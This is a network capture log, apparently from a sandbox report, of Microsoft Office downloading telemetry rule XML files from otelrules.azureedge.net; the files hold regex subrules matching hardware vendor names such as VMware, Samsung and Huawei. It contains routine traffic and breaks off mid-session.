2024-11-21 21:04:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210425Z-178bfbc474bvjk8shC1NYC83ns00000001y0000000002deb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 835fb09e-e01e-0003-07ce-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210425Z-r1d97b995774n5h6hC1TEBvf840000000avg00000000g170 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 8b710333-301e-0020-767a-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210425Z-178bfbc474bgvl54hC1NYCsfuw000000022000000000569d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210427Z-178bfbc474bscnbchC1NYCe7eg000000021g0000000114bk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210427Z-178bfbc474bwh9gmhC1NYCy3rs000000022g00000000gtp8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210427Z-15b8b599d886w4hzhC1TEBb4ug00000000n0000000001qrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 4eee1f4b-001e-0046-44b2-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210427Z-r1d97b99577dd2gchC1TEBz5ys0000000aug000000000sdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210428Z-178bfbc474bwlrhlhC1NYCy3kg0000000220000000007rgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210429Z-178bfbc474btrnf9hC1NYCb80g00000002100000000122t3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: b7984a43-301e-0051-7aa9-3b38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210429Z-r1d97b99577kk29chC1TEBemmg0000000az000000000asa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210429Z-178bfbc474bv587zhC1NYCny5w00000001t000000000zb85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
